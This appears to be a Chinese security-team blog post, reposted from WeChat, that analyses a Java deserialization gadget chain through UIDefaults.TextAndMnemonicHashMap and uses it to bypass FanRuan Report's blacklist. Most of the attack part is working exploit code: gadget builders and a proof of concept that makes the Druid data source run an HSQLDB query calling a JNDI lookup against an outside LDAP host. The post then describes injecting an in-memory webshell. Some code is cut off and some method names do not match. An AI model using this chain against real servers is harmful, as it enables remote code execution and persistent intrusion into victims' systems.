前言
之前看到的有触发toString方法的新链子,爆了有几个月了,刚好能够用来绕过帆软报表的黑名单,下面对分析的记录做个简单的分享。
HashTable链
`javax.swing.UIDefaults.TextAndMnemonicHashMap`类是继承自`HashMap`,可以看到`key`参数能够触发`toString`,而只要从`HashMap`中的get方法取出的值为`null`就能进入到if:
在`java.util.AbstractMap#equals`方法中,当遍历到`value`为null,触发m的get方法:
既然说是`HashTable`触发的链子,我们就找到其`readObject`方法,发现其最终进入到`java.util.Hashtable#reconstitutionPut`方法,通过`e.key.equals`可以触发:
具体调用栈:
at javax.swing.UIDefaults$TextAndMnemonicHashMap.get(UIDefaults.java:1251)
at java.util.AbstractMap.equals(AbstractMap.java:492)
at java.util.Hashtable.reconstitutionPut(Hashtable.java:1266)
at java.util.Hashtable.readObject(Hashtable.java:1218)
这里TextAndMnemonicHashMap能调用到`AbstractMap#equals`方法是因为TextAndMnemonicHashMap继承自HashMap。
而HashMap继承自AbstractMap,并且它没有实现equals方法:
具体实现如下
public static Hashtable maskTable2String(Object o) throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Map map1 = (Map) unsafe.allocateInstance(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map map2 = (Map) unsafe.allocateInstance(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
map1.put(o, "xxx");
map2.put(o, "xixi");
setFieldValue(map1, "loadFactor", 1);
setFieldValue(map2, "loadFactor", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(map1, 1);
hashtable.put(map2, 2);
map1.put(o, null);
map2.put(o, null);
retur
需要注意的是:
1、这里和CC7有类似的点,但是这里TextAndMnemonicHashMap是put两个相同的key对象,所以自然后面比对hash的时候是相同的。
2. 而put两个不同的value是因为在进入`Hashtable#readobject()`时,会计算元素的个数,两个元素相同 elements 为1 就无法二次进入了。
3. 之所以要设置`loadFactor`是因为这是HashMap扩容所需要的负载因子,在反序列化的时候,要通过它去知道序列化之前的数据状态。可以自行调试看看没有`loadFactor`设置会出现什么错误。
HashMap链
而`java.util.HashMap#readObject`的话可以通过触发`java.util.HashMap#putVal`来触发equals:
调用栈如下:
get:1251, UIDefaults$TextAndMnemonicHashMap (javax.swing)
equals:492, AbstractMap (java.util)
putVal:636, HashMap (java.util)
readObject:1419, HashMap (java.util)
具体实现如下:
public static HashMap makeHashMap2String(Object obj1) throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Map tHashMap1 = (Map) unsafe.allocateInstance(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) unsafe.allocateInstance(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(obj1, "123");
tHashMap2.put(obj1, "12");
setFieldValue(tHashMap1, "loadFactor", 1);
setFieldValue(tHashMap2, "loadFactor", 1);
HashMap hashMap = new HashMap();
hashMap.put(tHashMap1,"1");
hashMap.put(tHashMap2,"1");
setHashMapValue2Null(tHashMap1, obj1);
setHashMapValue2Null(tHashMap2, obj1);
return hashMap;
}
黑名单绕过利用
toString的点也是许多反序列化中需要用到的,如ROME、Jackson、Vaadin等链子中都有它的身影,常利用的jackson反序列化可以用上面的链子构造:
众所周知,某系统的黑名单是十分丰富的,首先这里我们直接定位到sink的地方
`com.fr.third.alibaba.druid.pool.xa.DruidXADataSource#getXAConnection()`
他可以初始化链接池数据源,设置jdbc的各种参数,它继承了`DruidDataSource`我们就容易想到利用它去打JDBC Attcak,可以用的有h2、mysql、hsql、oracle等等,具体看系统依赖。
可成功触发:
所以我们接着就去找getter触发的点,这里同样是利用了jackson链的getter。
首先定位到`com.fr.third.fasterxml.jackson.databind.ObjectWriter#writeValueAsString`,从之前jackson反序列化的知识我们了解它最终会触发invoke调用到getter
然后呢又可以找到`JSONArray`和`JsonStringArrayList`的`tostring`会调用到`writeValueAsString`
`com.fr.json.JSONArray#toString` ->`com.fr.json.revise.EmbedJson#encode`
`org.apache.arrow.vector.util.JsonStringArrayList#toString`->`com.fasterxml.jackson.databind.ObjectMapper#writeValueAsString`
至于后面触发toString就可以想到搭配上面两条触发toString的链子。
所以最终的poc就为:
public class Finefr {
public static void main(String[] args) throws Exception {
String ldapPayload = "ldap://x.x.x.x:1389/xxxx";
String query = "call "javax.naming.InitialContext.doLookup"('"+ ldapPayload + "');";
String url = "jdbc:hsqldb:file:/tmp/xxx/db";
DruidXADataSource druidXADataSource = new DruidXADataSource();
druidXADataSource.setLogWriter(null);
druidXADataSource.setStatLogger(null);
druidXADataSource.setInitialSize(1);
druidXADataSource.setValidationQuery(query);
druidXADataSource.setUrl(url);
druidXADataSource.setDriverClassName("com.fr.third.org.hsqldb.jdbcDriver");
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe)field.get((Object)null);
unsafe.putObject(druidXADataSource, unsafe.objectFieldOffset(DruidAbstractDataSource.class.getDeclaredField("transactionHistogram")), (Object) null);
unsafe.putObject(druidXADataSource, unsafe.objectFieldOffset(DruidDataSource.class.getDeclaredField("initedLatch")), (Object) null);
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(druidXADataSource);
JSONArray jsonArray = new JSONArray(arrayList);
Hashtable hashtable = makeTable2String(jsonArray);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashtable);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new WorkspaceServerInvoker().handleMessage(baos.toByteArray());
这个点是因为这两个值对应的类并没有实现`Serializable`接口,所以在序列化的时候会报错,将它置空即可:
武器化及内存马注入
上面的利用是通过JNDI注入打的Jackson的反序列化,并且帆软默认的jdk是8u191,也就是打jndi是需要绕过高版本的。这里直接将帆软Jackson的反序列化集成到JNDI工具中,然后生成利用payload打入我们的内存马:
连接内存马执行命令成功:
后续
目前相关漏洞利用及内存马注入的工具还未完全整理出来,支持的漏洞较少,仅限内部使用,后面完善后会在公众号进行分享。
原文始发于微信公众号(稻草人安全团队):帆软报表反序列化黑名单绕过分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论